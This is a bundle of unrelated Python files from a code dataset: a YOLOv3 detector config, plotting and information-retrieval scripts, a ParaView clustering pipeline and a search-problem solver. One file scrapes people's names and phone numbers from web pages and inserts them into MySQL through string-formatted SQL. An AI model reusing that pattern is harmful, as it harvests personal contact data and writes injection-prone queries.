out_channels=fpn_out_channels,\n conv_cfg=conv_cfg,\n norm_cfg=norm_cfg,\n act_cfg=act_cfg),\n bbox_head=dict(\n type='YOLOV3Head',\n num_classes=80,\n in_channels=fpn_out_channels,\n out_channels=fpn_in_channels,\n conv_cfg=conv_cfg,\n norm_cfg=norm_cfg,\n act_cfg=act_cfg,\n anchor_generator=dict(\n type='YOLOAnchorGenerator',\n base_sizes=[[(116, 90), (156, 198), (373, 326)],\n [(30, 61), (62, 45), (59, 119)],\n [(10, 13), (16, 30), (33, 23)]],\n strides=[32, 16, 8]),\n bbox_coder=dict(type='YOLOBBoxCoder'),\n featmap_strides=[32, 16, 8],\n loss_cls=dict(\n type='CrossEntropyLoss',\n use_sigmoid=True,\n loss_weight=1.0,\n reduction='sum'),\n loss_conf=dict(\n type='CrossEntropyLoss',\n use_sigmoid=True,\n loss_weight=1.0,\n reduction='sum'),\n loss_xy=dict(\n type='CrossEntropyLoss',\n use_sigmoid=True,\n loss_weight=2.0,\n reduction='sum'),\n loss_wh=dict(type='MSELoss', loss_weight=2.0, reduction='sum')))\n\n# dataset settings\ntrain_pipeline = [\n dict(type='LoadImageFromFile', to_float32=True),\n dict(type='LoadAnnotations', with_bbox=True),\n dict(type='PhotoMetricDistortion') if not quantize else dict(type='Bypass'),\n dict(\n type='Expand',\n mean=img_norm_cfg['mean'],\n to_rgb=img_norm_cfg['to_rgb'],\n ratio_range=(1, 2)),\n dict(\n type='MinIoURandomCrop',\n min_ious=(0.4, 0.5, 0.6, 0.7, 0.8, 0.9),\n min_crop_size=0.3),\n dict(type='Resize', img_scale=input_size, keep_ratio=False),\n dict(type='RandomFlip', flip_ratio=0.5),\n dict(type='Normalize', **img_norm_cfg),\n dict(type='Pad', size_divisor=input_size_divisor),\n dict(type='DefaultFormatBundle'),\n dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels'])\n]\n\ntest_pipeline = [\n dict(type='LoadImageFromFile'),\n dict(\n type='MultiScaleFlipAug',\n img_scale=input_size,\n flip=False,\n transforms=[\n dict(type='Resize', keep_ratio=False),\n dict(type='RandomFlip'),\n dict(type='Normalize', **img_norm_cfg),\n dict(type='Pad', size_divisor=input_size_divisor),\n dict(type='ImageToTensor', keys=['img']),\n dict(type='Collect', keys=['img']),\n ])\n]\n\ndata = dict(\n samples_per_gpu=samples_per_gpu,\n workers_per_gpu=0,\n train=dict(dataset=dict(pipeline=train_pipeline)),\n val=dict(pipeline=test_pipeline),\n test=dict(pipeline=test_pipeline))\n\n","sub_path":"configs/edgeailite/yolov3/yolov3_regnet_bgr_lite.py","file_name":"yolov3_regnet_bgr_lite.py","file_ext":"py","file_size_in_byte":7697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"582560789","text":"\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\n#\n# plt.rcParams['font.sans-serif'] = ['DFKai-SB']\n# plt.rcParams['axes.unicode_minus'] = False\n\n\n\n\ndef load_txt(path, name):\n f = open(path + name, 'r')\n data = np.loadtxt(f)\n f.close()\n return data\n\ndef path_exsit(path):\n if os.path.exists(path):\n return True\n else:\n return False\n\ndef plot(data, xlabel, ylabel, title, save_location):\n plt.plot(np.arange(data.shape[0]), data)\n plt.xlabel(xlabel)\n plt.ylabel(ylabel)\n plt.title(title,fontsize = 14,fontweight = 'bold')\n plt.grid(True)\n plt.savefig(save_location+title)\n plt.clf()\n plt.close()\n\n\ndef plot_txt(path, name, xlabel, ylabel, title, save_location):\n # path exist\n if path_exsit(path+name):\n # load data\n data = load_txt(path=path, name=name)\n # plot\n plot(data=data, xlabel=xlabel, ylabel=ylabel, title=title, save_location=save_location)\n else:\n print(path+name +' does not exist')\n\n\n\"\"\"畫碩論圖6-17(no-yolo) \"\"\"\n# PATH = '07082329'\n# light_rgb = ([135 ,206 ,250],[\t255, 231 ,186],[255 ,193 ,193])\n# \"\"\" rename \"\"\"\n# folder_data = './' + PATH + '/train/data/'\n# file_name = ['step.txt', 'reward.txt', 'avgR.txt','critic1_loss.txt','critic2_loss.txt','actor_loss.txt']\n# data_set = ['step_set', 'reward_set', 'avg_reward_set', 'loss_q1_set', 'loss_q2_set', 'loss_pi_set']\n#\n# # ----- plot fig -----\n# folder_fig = './' + PATH + '/train/fig/'\n# xlabel = ['Episode', 'Episode', 'Episode', 'Episode', 'Episode', 'Episode']\n# ylabel = ['Grasp Times', 'Reward', 'avgR', 'loss', 'loss', 'loss']\n# title = ['Grasp Times', 'Accumulative Reward', 'avgR', 'cost_critic1', 'cost_critic2', 'cost_actor']\n# for i in range(len(file_name)):\n# plot_txt(path=folder_data, name=file_name[i], xlabel=xlabel[i], ylabel=ylabel[i], title=title[i],\n# save_location=folder_fig)\n\n\n\n\n\"\"\" smooth\n '06121418' --> 畫碩論圖6-15\n '06221503' --> 畫碩論圖6-16(pre-train)\n '06230850' --> 畫碩論圖6-16(no-pre-train)\n '07082329' --> 畫碩論圖6-17(no-yolo)\n \"\"\"\n\n# #,'06121418'\n# PATH = '07082329'\n# # PATH = ['06230850','06221503']\n# data_name =['Data1','Data2']\n# path_label = ['no_pre_train','pre_train']\n# path_loc=['upper right','right']\n#\n# data_type = 'step'\n# save_pic_name = '位隨機置'+data_type\n# color=['slateblue','darkorange','lightseagreen']\nA = [0.5,0.5] #透明度\n# # light_rgb = ([135 ,206 ,250],[\t255, 231 ,186],[255 ,193 ,193])\n# # deep_rgb = ([\t65, 105 ,225],[255, 165, 0],[255, 64 ,64])\n#\n# light_rgb = ([171, 130, 255],[\t255, 231 ,186],[255 ,193 ,193])\n# deep_rgb = ([147, 112, 219],[\t255, 165, 0],[255, 64 ,64])\n#\nlight_rgb = ([\t167 ,138, 230],[0, 0, 0])\ndeep_rgb = ([167 ,138, 230],[0, 0, 0])\n#\n# for i in range(len(PATH)):\n# f = open('./' + PATH[i] + '/train/data/' + data_type+'.txt', 'r')\n# data = (np.loadtxt(f))\n# smooth_data = []\n# for j in range(np.size(data)):\n# if j == 0:\n# smooth_data.append(data[j])\n# else:\n# smooth_data.append(smooth_data[-1]*0.9 + data[j]*0.1)\n# plt.plot(np.arange(data.shape[0]), data,color=(light_rgb[i][0]/255,light_rgb[i][1]/255,light_rgb[i][2]/255,A[i]),linewidth=1.5)\n# # plt.legend(['pre_train','no_pre_train', '3', '4', '5'])\n#\n# for i in range(len(PATH)):\n# f = open('./' + PATH[i] + '/train/data/' + data_type+'.txt', 'r')\n# data = (np.loadtxt(f))\n# smooth_data = []\n# for j in range(np.size(data)):\n# if j == 0:\n# smooth_data.append(data[j])\n# else:\n# smooth_data.append(smooth_data[-1] * 0.9 + data[j] * 0.1)\n# data_name[i], = plt.plot(smooth_data,color=(deep_rgb[i][0]/255,deep_rgb[i][1]/255,deep_rgb[i][2]/255,0.9),label =path_label[i] )\n# for j in range(data.shape[0]):\n# if data[j]<-2:\n# print('i',i,'j',j,'data',data[j])\n#\n#\n# if data_type == 'reward':\n# # plt.title('固定位置訓練',fontname='DFKai-SB',fontsize = 20,fontweight = 'bold')\n# plt.title('Accumulative Reward',fontsize = 14,fontweight = 'bold')\n#\n# # my_y_ticks = np.arange(-10, 1.5, 2)\n# # plt.yticks(my_y_ticks)\n# plt.legend(handles=[data_name[0], data_name[1]], loc=path_loc[1])\n# plt.ylabel('Reward',fontsize = 12)\n# plt.xlabel('Episode',fontsize = 12)\n#\n#\n# elif data_type=='step':\n# # plt.title('固定位置訓練',fontname='DFKai-SB',fontsize = 20,fontweight = 'bold')\n# plt.title('Accumulative Grasp Times', fontsize=14, fontweight='bold')\n#\n# plt.ylabel('Grasp Times', fontsize=12)\n# plt.xlabel('Episode', fontsize=12)\n# plt.legend(handles=[data_name[0], data_name[1]], loc=path_loc[0])\n# # my_y_ticks = np.arange(0, 20,1 )\n# # plt.xticks(my_x_ticks)\n# # plt.yticks([1,5,10,15,20,25])\n#\n# plt.xlim(0,1000)\n# # plt.ylim(-0.5,1.6)\n#\n# #设置坐标轴刻度\n# my_x_ticks = np.arange(0, 1100, 100)\n# # my_y_ticks = np.arange(-5, 5, 0.5)\n# plt.xticks(my_x_ticks)\n# # plt.yticks(my_y_ticks)\n#\n# # plt.legend(handles=[data_name[0],data_name[1]], loc=path_loc[0])\n# # plt.legend(['DEPTH','RGB', '3', '4', '5'],loc = 'lower right')\n#\n# plt.grid(True)\n# # file_name = 'perfomance_compare_actor.png'\n# file_name = save_pic_name+'.png'\n# plt.savefig(file_name)\n# plt.show()\n# plt.clf()\n\n\nPATH = ['07082329']\nfor i in range(len(PATH)):\n f = open('C:/Users/user/Desktop/rl/vrep/SAC_camera_version2/model/' + PATH[i] + '/train/data/' + 'step.txt', 'r')\n data = (np.loadtxt(f))\n smooth_data = []\n for j in range(np.size(data)):\n if j == 0:\n smooth_data.append(data[j])\n else:\n smooth_data.append(smooth_data[-1]*0.9 + data[j]*0.1)\n\n plt.plot(data,color=(light_rgb[0][0]/255,light_rgb[0][1]/255,light_rgb[0][2]/255,0.3),linewidth=1.5)\n plt.plot(smooth_data,color=(deep_rgb[0][0]/255,deep_rgb[0][1]/255,deep_rgb[0][2]/255,0.9))\n\n\n\n\n\nplt.title('Accumulative Grasp Times',fontsize = 14,fontweight = 'bold')\nplt.ylabel('Grasp Times')\nplt.xlabel('Episode')\n# plt.legend(['1', '2', '3', '4', '5'])\nplt.grid(True)\n# file_name = 'perfomance_compare_actor.png'\nfile_name = 'step____.png'\nplt.savefig(file_name)\nplt.show()\n# plt.clf()","sub_path":"vrep/SAC_camera_version2/model/POLT.py","file_name":"POLT.py","file_ext":"py","file_size_in_byte":6149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"628253161","text":"from Compressor import CompressorClass\nfrom Posting import PostingClass\nfrom os import path\nimport random\nimport sys\n\nclass QueryClass:\n\n\tdef __init__(self, compressed):\n\t\tself.compressed = compressed\n\t\tself.invertedIndex = {}\n\t\tself.invertedIndex = self.getInvertedIndex()\n\n\tdef getInvertedIndex(self):\n\t\tif not self.invertedIndex:\n\t\t\tif self.compressed:\n\t\t\t\tindexFile = \"compressedIndex\"\n\t\t\t\tlookupFile = \"compressedLookupTable\"\n\t\t\telse:\n\t\t\t\tindexFile = \"uncompressedIndex\"\n\t\t\t\tlookupFile = \"uncompressedLookupTable\"\n\n\t\t\twith open(\"../data/\" + lookupFile + \".txt\", \"r\") as f:\n\t\t\t\tlookup = eval(f.read())\n\n\t\t\tfor word in lookup:\n\t\t\t\toffset = lookup[word]['offset']\n\t\t\t\tsize = lookup[word]['size']\n\t\t\t\tarray = []\n\t\t\t\twith open(\"../data/\" + indexFile, \"rb\") as f:\n\t\t\t\t\tf.seek(offset)\n\t\t\t\t\tm = f.read(size)\n\t\t\t\t\twhile len(m) > 0:\n\t\t\t\t\t\tcharacter = m[:4]\n\t\t\t\t\t\tarray.append(int.from_bytes(character, byteorder=sys.byteorder))\n\t\t\t\t\t\tm = m[4:]\n\t\t\t\tself.invertedIndex[word] = array\n\n\t\t\tif self.compressed:\n\t\t\t\tvByteIndex = self.invertedIndex\n\t\t\t\tcompressor = CompressorClass()\n\t\t\t\tdInvertedIndex = compressor.vByteDecompression(vByteIndex)\n\t\t\t\tself.invertedIndex = compressor.deltaDecode(dInvertedIndex)\n\t\tself.words = list(self.invertedIndex.keys())\n\n\t\treturn self.invertedIndex\n\n\tdef generate7Query(self):\n\t\tif not path.exists(\"../data/7query.txt\"):\n\t\t\twith open(\"../data/7query.txt\", \"w+\") as f:\n\t\t\t\tfor i in range(100):\n\t\t\t\t\tfor j in range(7):\n\t\t\t\t\t\trandIndex = random.randrange(len(self.words))\n\t\t\t\t\t\tf.write(self.words[randIndex] + \" \")\n\t\t\t\t\tf.write(\"\\n\")\n\n\tdef getAdjacentCount(self, positionsA, positionsB):\n\t\tcount = 0\n\t\tfor pos in positionsA:\n\t\t\tif pos+1 in positionsB:\n\t\t\t\tcount += 1\n\n\t\treturn count\n\n\tdef calculateDice(self, wordA, wordB):\n\t\tposting = PostingClass(self.invertedIndex)\n\t\tpostingA, termFreqA, docFreqA = posting.getPostingList(wordA)\n\t\tpostingB, termFreqB, docFreqB = posting.getPostingList(wordB)\n\t\tnAB = 0\n\n\t\tfor docIdA in postingA.keys():\n\t\t\tfor docIdB in postingB.keys():\n\t\t\t\tif docIdA == docIdB:\n\t\t\t\t\tnAB += self.getAdjacentCount(postingA[docIdA], postingB[docIdB])\n\t\tdiceCofficient = nAB / (termFreqA + termFreqB)\n\n\t\treturn diceCofficient\n\n\tdef getDicePair(self, word):\n\t\tdiceWord = \"\"\n\t\tmaxDice = -1\n\n\t\tfor wordB in self.words:\n\t\t\tdiceCofficient = self.calculateDice(word, wordB)\n\t\t\tif diceCofficient > maxDice:\n\t\t\t\tmaxDice = diceCofficient\n\t\t\t\tdiceWord = wordB\n\n\t\treturn diceWord\n\n\tdef generate14Query(self):\n\t\twith open(\"../data/7query.txt\", \"r\") as f:\n\t\t\tcontent = f.read()\n\t\t\tcontent = content[:-1]\n\n\t\tif not path.exists(\"../data/14query.txt\"):\n\t\t\twith open(\"../data/14query.txt\", \"w+\") as f:\n\t\t\t\tgroups = content.split(\"\\n\")\n\t\t\t\tfor group in groups:\n\t\t\t\t\tgroup = group[:-1]\n\t\t\t\t\twordsFrom7 = group.split(\" \")\n\t\t\t\t\tfor word in wordsFrom7:\n\t\t\t\t\t\tdiceWord = self.getDicePair(word)\n\t\t\t\t\t\tf.write(word + \" \" + diceWord + \" \")\n\t\t\t\t\tf.write(\"\\n\")\n\n\tdef computeFrequencies(self):\n\t\tself.frequencyList = {}\n\t\tfor word in self.invertedIndex:\n\t\t\t_, termFreq, docFreq = self.getPostingList(word)\n\t\t\tself.frequencyList[word] = {'docFreq': docFreq, 'termFreq': termFreq}\n\n\t\treturn self.frequencyList\n\n\tdef readMappings(self):\n\t\twith open(\"../data/docMapping.txt\", \"r\") as f:\n\t\t\tdocMapping = eval(f.read())\n\n\t\treturn docMapping\n\n\tdef collectionQueries(self):\n\t\tplayLengths = {}\n\t\tshortest = 100000\n\t\tavgLength = 0.0\n\t\tdocMapping = self.readMappings()\n\n\t\tfor doc in docMapping:\n\t\t\tdocLength = docMapping[doc]['docLength']\n\t\t\tplay = docMapping[doc]['playId']\n\t\t\tif play not in playLengths:\n\t\t\t\tplayLengths[play] = 0\n\t\t\tplayLengths[play] += docLength\n\t\t\tif docLength < shortest:\n\t\t\t\tshortestDoc = doc\n\t\t\t\tshortest = docLength\n\t\t\tavgLength += docLength\n\t\tavgLength /= len(docMapping)\n\t\tplay_max = max(playLengths.keys(), key=(lambda k: playLengths[k]))\n\t\tplay_min = min(playLengths.keys(), key=(lambda k: playLengths[k]))\n\n\t\tprint(\"Average scene length = \" + str(avgLength))\n\t\tprint(\"Shortest scene = \" + docMapping[shortestDoc][\"sceneId\"] + \"\\t Length = \" + str(shortest))\n\t\tprint(\"Longest play = \" + play_max + \"\\t Length = \" + str(playLengths[play_max]))\n\t\tprint(\"Shortest play = \" + play_min + \"\\t Length = \" + str(playLengths[play_min]))\n\n\t\treturn avgLength\n\n\n\tdef runQuery(self):\n\t\tself.generate7Query()\n\t\tself.generate14Query()\n\t\tself.collectionQueries()","sub_path":"Retrieval/src/Query.py","file_name":"Query.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"134633673","text":"# coding=utf-8\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport csv\nimport time\nimport os\nimport pymongo\nimport pymysql.cursors\nfrom mysql import pymysql1\nfrom phone_test import phone_util\n\nname = 'body > div.contextf > div > div > div.cont-r > div:nth-of-type(1) > div > div > ul:nth-of-type(3) > li.card-right'\ntelephone = 'body > div.contextf > div > div > div.cont-r > div:nth-of-type(1) > div > div > ul:nth-of-type(4) > li.card-right'\nphone = 'body > div.contextf > div > div > div.cont-r > div:nth-of-type(1) > div > div > ul:nth-of-type(5) > li.card-right'\n\n\n# 获得手机号和姓名\ndef get_name_phone(url):\n # arr_two = []\n two_url = requests.get(url)\n soup = BeautifulSoup(two_url.text, 'html.parser')\n var_name1 = soup.select(name)\n var_telephone1 = soup.select(telephone)\n var_phone1 = soup.select(phone)\n for var_name, var_telephone, var_phone in zip(var_name1, var_telephone1, var_phone1):\n data_two = (\n var_name.text,\n var_telephone.text,\n var_phone.text\n )\n # arr_two.append(data_two)\n print('数据源', data_two)\n set_insert(var_name.text, var_telephone.text, var_phone.text)\n # 保存数据到本地表格\n # set_name_phone(phone_util.set_data_time('name'), arr_two)\n\n\n# 存储姓名,手机号,座机号\ndef set_name_phone(folder, _arr1):\n if os.access(folder, os.F_OK):\n with open(folder, 'a+', newline='')as folders:\n writers = csv.writer(folders)\n writers.writerows(_arr1)\n folders.close()\n else:\n with open(folder, 'a+', newline='')as folders:\n writers = csv.writer(folders)\n writers.writerow(['name', 'telephone', 'phone'])\n writers.writerows(_arr1)\n folders.close()\n\n\ndef get_mysql():\n arr_ = pymysql1.get_findall()\n for vv in range(25, len(arr_)):\n page_ = arr_[vv]\n print(arr_.index(page_))\n time.sleep(10)\n get_name_phone(page_[0])\n\n\n# 插入数据\ndef set_insert(name, telephone, phone):\n connect = pymysql.Connect(\n host='localhost',\n port=3306,\n user='root',\n passwd='',\n db='python',\n charset='utf8'\n )\n # 获取游标\n cursor = connect.cursor()\n # 插入语句\n sql = \"INSERT INTO phone_name(name,telephone,phone) VALUES ('%s','%s','%s')\"\n data = (name, telephone, phone)\n cursor.execute(sql % data)\n connect.commit()\n print('成功插入', cursor.rowcount, '条数据')\n cursor.close()\n connect.close()\n\n\nif __name__ == '__main__':\n print()\n get_mysql()\n","sub_path":"phone/phone_test/python_deatils.py","file_name":"python_deatils.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"261309833","text":"#!/usr/bin/env python\n\nfrom paraview.simple import *\n\n# create a new 'CSV Reader'\nkarhunenLoveDigits64Dimensionscsv = CSVReader(\n FileName=[\"karhunenLoveDigits64Dimensions.csv\"]\n)\nkarhunenLoveDigits64Dimensionscsv.HaveHeaders = 0\n\n# create a new 'TTK DimensionReduction'\ntTKDimensionReduction1 = TTKDimensionReduction(Input=karhunenLoveDigits64Dimensionscsv)\ntTKDimensionReduction1.InputColumns = [\n \"Field 1\",\n \"Field 10\",\n \"Field 11\",\n \"Field 12\",\n \"Field 13\",\n \"Field 14\",\n \"Field 15\",\n \"Field 16\",\n \"Field 17\",\n \"Field 18\",\n \"Field 19\",\n \"Field 2\",\n \"Field 20\",\n \"Field 21\",\n \"Field 22\",\n \"Field 23\",\n \"Field 24\",\n \"Field 25\",\n \"Field 26\",\n \"Field 27\",\n \"Field 28\",\n \"Field 29\",\n \"Field 3\",\n \"Field 30\",\n \"Field 31\",\n \"Field 32\",\n \"Field 33\",\n \"Field 34\",\n \"Field 35\",\n \"Field 36\",\n \"Field 37\",\n \"Field 38\",\n \"Field 39\",\n \"Field 4\",\n \"Field 40\",\n \"Field 41\",\n \"Field 42\",\n \"Field 43\",\n \"Field 44\",\n \"Field 45\",\n \"Field 46\",\n \"Field 47\",\n \"Field 48\",\n \"Field 49\",\n \"Field 5\",\n \"Field 50\",\n \"Field 51\",\n \"Field 52\",\n \"Field 53\",\n \"Field 54\",\n \"Field 55\",\n \"Field 56\",\n \"Field 57\",\n \"Field 58\",\n \"Field 59\",\n \"Field 6\",\n \"Field 60\",\n \"Field 61\",\n \"Field 62\",\n \"Field 63\",\n \"Field 64\",\n \"Field 7\",\n \"Field 8\",\n \"Field 9\",\n]\ntTKDimensionReduction1.Method = \"t-distributed Stochastic Neighbor Embedding\"\ntTKDimensionReduction1.UseAllCores = False\n\n# create a new 'Table To Points'\ntableToPoints1 = TableToPoints(Input=tTKDimensionReduction1)\ntableToPoints1.XColumn = \"Component_0\"\ntableToPoints1.YColumn = \"Component_1\"\ntableToPoints1.a2DPoints = 1\ntableToPoints1.KeepAllDataArrays = 1\n\n# create a new 'Gaussian Resampling'\ngaussianResampling1 = GaussianResampling(Input=tableToPoints1)\ngaussianResampling1.ResampleField = [\"POINTS\", \"ignore arrays\"]\ngaussianResampling1.ResamplingGrid = [256, 256, 3]\ngaussianResampling1.SplatAccumulationMode = \"Sum\"\n\n# create a new 'Slice'\nslice1 = Slice(Input=gaussianResampling1)\nslice1.SliceType = \"Plane\"\n\n# init the 'Plane' selected for 'SliceType'\nslice1.SliceType.Normal = [0.0, 0.0, 1.0]\n\n# create a new 'TTK PersistenceDiagram'\ntTKPersistenceDiagram1 = TTKPersistenceDiagram(Input=slice1)\ntTKPersistenceDiagram1.ScalarField = [\"POINTS\", \"SplatterValues\"]\ntTKPersistenceDiagram1.IgnoreBoundary = False\n\n# create a new 'Threshold'\nthreshold1 = Threshold(Input=tTKPersistenceDiagram1)\nthreshold1.Scalars = [\"CELLS\", \"Persistence\"]\nthreshold1.ThresholdMethod = \"Between\"\nthreshold1.LowerThreshold = 10.0\nthreshold1.UpperThreshold = 999999999\n\n# create a new 'TTK TopologicalSimplification'\ntTKTopologicalSimplification1 = TTKTopologicalSimplification(\n Domain=slice1, Constraints=threshold1\n)\ntTKTopologicalSimplification1.ScalarField = [\"POINTS\", \"SplatterValues\"]\n\n# create a new 'TTK MorseSmaleComplex'\ntTKMorseSmaleComplex1 = TTKMorseSmaleComplex(Input=tTKTopologicalSimplification1)\ntTKMorseSmaleComplex1.ScalarField = [\"POINTS\", \"SplatterValues\"]\n\n# create a new 'TTK IdentifierRandomizer'\ntTKIdentifierRandomizer1 = TTKIdentifierRandomizer(\n Input=OutputPort(tTKMorseSmaleComplex1, 3)\n)\ntTKIdentifierRandomizer1.ScalarField = [\"POINTS\", \"AscendingManifold\"]\n\n# create a new 'Resample With Dataset'\nresampleWithDataset1 = ResampleWithDataset(\n SourceDataArrays=tTKIdentifierRandomizer1, DestinationMesh=tableToPoints1\n)\nresampleWithDataset1.PassPointArrays = 1\n\nSaveData(\"OutputClustering.csv\", resampleWithDataset1)\n","sub_path":"python/karhunenLoveDigits64Dimensions.py","file_name":"karhunenLoveDigits64Dimensions.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"639559536","text":"import search\nimport random\nimport math\nfrom copy import deepcopy\n\n\nids = [\"204657977\"]\n\nclass State():\n def __init__(self):\n self.occupied_coordinates = set()\n self.targets_hit = set()\n self.devices_status = set()\n\n def assign_all_variables(self, occupied_coordinates_set, targets_hit_set, devices_status_set):\n self.occupied_coordinates = occupied_coordinates_set\n self.targets_hit = targets_hit_set\n self.devices_status = devices_status_set\n\n def assign_occupied_coordinates(self, occupied_coordinates_set):\n self.occupied_coordinates = occupied_coordinates_set\n\n def assign_targets_hit(self, targets_hit_set):\n self.targets_hit = targets_hit_set\n\n def assign_devices_status(self, devices_status_set):\n self.devices_status = devices_status_set\n\n def add_occupied_coordinate(self, occupied_coordinate_tuple):\n self.occupied_coordinates.add(occupied_coordinate_tuple)\n\n def remove_occupied_coordinate(self, occupied_coordinate_tuple):\n self.occupied_coordinates.remove(occupied_coordinate_tuple)\n\n def add_target_hit(self, target_hit_tuple):\n self.targets_hit.add(target_hit_tuple)\n\n def add_device_status(self, device_status_tuple):\n self.devices_status.add(device_status_tuple)\n\n def remove_device_status(self, device_status_tuple):\n self.devices_status.remove(device_status_tuple)\n\n def __hash__(self):\n return hash((frozenset(self.occupied_coordinates), frozenset(self.targets_hit), frozenset(self.devices_status)))\n\n def __eq__(self, other):\n if not isinstance(other, type(self)): return NotImplemented\n return self.occupied_coordinates == other.occupied_coordinates \\\n and self.targets_hit == other.targets_hit\\\n and set(self.devices_status) == set(other.devices_status)\n\nclass UtilsActions():\n @staticmethod\n def get_possible_movements(current_spaceship, occupied_coordinates, grid_size):\n '''\n A function to check a spaceship's possible moves\n :param current_spaceship: Spaceship object to check it's possible moves\n :param occupied_coordinates: set of occupied coordinates to limit the spaceship's possible moves\n :param grid_size: size of the space grid to limit the spaceship's possible moves\n :return:\n A Set of possible moves\n '''\n current_coordinates = current_spaceship.coordinates\n current_name = current_spaceship.name\n possible_movements_set = set()\n\n if current_coordinates[0] < grid_size - 1:\n new_coordinates = (current_coordinates[0] + 1, current_coordinates[1], current_coordinates[2])\n if new_coordinates not in occupied_coordinates:\n possible_movements_set.add((\"move\", current_name, current_coordinates, new_coordinates))\n #yield (\"move\", current_name, current_coordinates, new_coordinates)\n\n if current_coordinates[1] < grid_size - 1:\n new_coordinates = (current_coordinates[0], current_coordinates[1] + 1, current_coordinates[2])\n if new_coordinates not in occupied_coordinates:\n possible_movements_set.add((\"move\", current_name, current_coordinates, new_coordinates))\n #yield (\"move\", current_name, current_coordinates, new_coordinates)\n\n if current_coordinates[2] < grid_size - 1:\n new_coordinates = (current_coordinates[0], current_coordinates[1], current_coordinates[2] + 1)\n if new_coordinates not in occupied_coordinates:\n possible_movements_set.add((\"move\", current_name, current_coordinates, new_coordinates))\n #yield (\"move\", current_name, current_coordinates, new_coordinates)\n\n if current_coordinates[0] > 0:\n new_coordinates = (current_coordinates[0] - 1, current_coordinates[1], current_coordinates[2])\n if new_coordinates not in occupied_coordinates:\n possible_movements_set.add((\"move\", current_name, current_coordinates, new_coordinates))\n #yield (\"move\", current_name, current_coordinates, new_coordinates)\n\n if current_coordinates[1] > 0:\n new_coordinates = (current_coordinates[0], current_coordinates[1] - 1, current_coordinates[2])\n if new_coordinates not in occupied_coordinates:\n possible_movements_set.add((\"move\", current_name, current_coordinates, new_coordinates))\n #yield (\"move\", current_name, current_coordinates, new_coordinates)\n\n if current_coordinates[2] > 0:\n new_coordinates = (current_coordinates[0], current_coordinates[1], current_coordinates[2] - 1)\n if new_coordinates not in occupied_coordinates:\n possible_movements_set.add((\"move\", current_name, current_coordinates, new_coordinates))\n #yield (\"move\", current_name, current_coordinates, new_coordinates)\n\n return possible_movements_set\n\n @staticmethod\n def get_possible_targets(current_spaceship, targets_dict, calibration_targets_dict):\n current_ship_coordinates = current_spaceship.coordinates\n current_ship_name = current_spaceship.name\n possible_targets_set = set()\n possible_targets_dict = {}\n\n for current_target in targets_dict:#[coordinate]:[device]\n is_straight_line = UtilsActions.check_straight_line(current_ship_coordinates, current_target)\n if is_straight_line:\n if is_straight_line[0] not in possible_targets_dict:\n possible_targets_dict[is_straight_line[0]] = (is_straight_line[1], current_target)\n else:\n if is_straight_line[1] < possible_targets_dict[is_straight_line[0]][0]:\n possible_targets_dict[is_straight_line[0]] = (is_straight_line[1], current_target)\n\n for current_calibration_target in calibration_targets_dict: #[device]:[coordinate]\n current_target = calibration_targets_dict[current_calibration_target]\n is_straight_line = UtilsActions.check_straight_line(current_ship_coordinates, current_target)\n if is_straight_line:\n if is_straight_line[0] not in possible_targets_dict:\n possible_targets_dict[is_straight_line[0]] = (is_straight_line[1], current_target)\n else:\n if is_straight_line[1] < possible_targets_dict[is_straight_line[0]][0]:\n possible_targets_dict[is_straight_line[0]] = (is_straight_line[1], current_target)\n\n for current_key in possible_targets_dict:\n current_coordinate = possible_targets_dict[current_key][1]\n if current_coordinate in targets_dict:\n for current_target_device in targets_dict[current_coordinate]:\n if current_spaceship.check_ready_fire(current_target_device):\n possible_targets_set.add((\"use\", current_ship_name, current_target_device, current_coordinate))\n #yield (\"use\", current_ship_name, current_target_device, current_coordinate)\n break\n else:\n for current_target_device, device_coords in calibration_targets_dict.items():\n if device_coords == current_coordinate:\n if current_spaceship.check_ready_calibrate(current_target_device):\n possible_targets_set.add((\"calibrate\", current_ship_name, current_target_device, current_coordinate))\n #yield (\"calibrate\", current_ship_name, current_target_device, current_coordinate)\n break\n elif current_spaceship.check_ready_turnon(current_target_device):\n possible_targets_set.add((\"turn_on\", current_ship_name, current_target_device))\n #yield (\"turn_on\", current_ship_name, current_target_device)\n break\n\n return possible_targets_set\n\n @staticmethod\n def check_straight_line(tuple_coordinate1, tuple_coordinate2):\n dx = tuple_coordinate2[0] - tuple_coordinate1[0]\n dy = tuple_coordinate2[1] - tuple_coordinate1[1]\n dz = tuple_coordinate2[2] - tuple_coordinate1[2]\n\n if dx == 0 and dy == 0:\n return ('dz', dz) if dz > 0 else ('-dz', -dz)\n\n if dx == 0 and dz == 0:\n return ('dy', dy) if dy > 0 else ('-dy', -dy)\n\n if dy == 0 and dz == 0:\n return ('dx', dx) if dx > 0 else ('-dx', -dx)\n\n return None\n\nclass UtilsUpdate():\n @staticmethod\n def distribute_packet(action, spaceships_dictionary, targets_dictionary, state):\n if action[0] == 'move':\n UtilsUpdate.update_move_action(spaceships_dictionary[action[1]], action, state)\n elif action[0] == 'turn_on':\n UtilsUpdate.update_turnon_action(spaceships_dictionary[action[1]], action, state)\n elif action[0] == 'calibrate':\n UtilsUpdate.update_calibrate_action(spaceships_dictionary[action[1]], action, state)\n elif action[0] == 'use':\n UtilsUpdate.update_use_action(spaceships_dictionary[action[1]], action, targets_dictionary, state)\n else:\n print(\"DELETE ME: DUDE COME ON...\")\n\n @staticmethod\n def update_move_action(spaceship_object, move_action, state):\n spaceship_old_identifier = spaceship_object.get_spaceship_identifier()\n spaceship_object.coordinates = move_action[3]\n state.remove_spaceship_occupied_coordinate(spaceship_old_identifier)\n state.add_spaceship_occupied_coordinate(spaceship_object.get_spaceship_identifier())\n\n @staticmethod\n def update_turnon_action(spaceship_object, turnon_action, state):\n value_to_remove = spaceship_object.turn_off_devices()\n value_to_add = spaceship_object.turn_on_device(turnon_action[2])\n if value_to_remove:\n state.remove_device_status(value_to_remove)\n 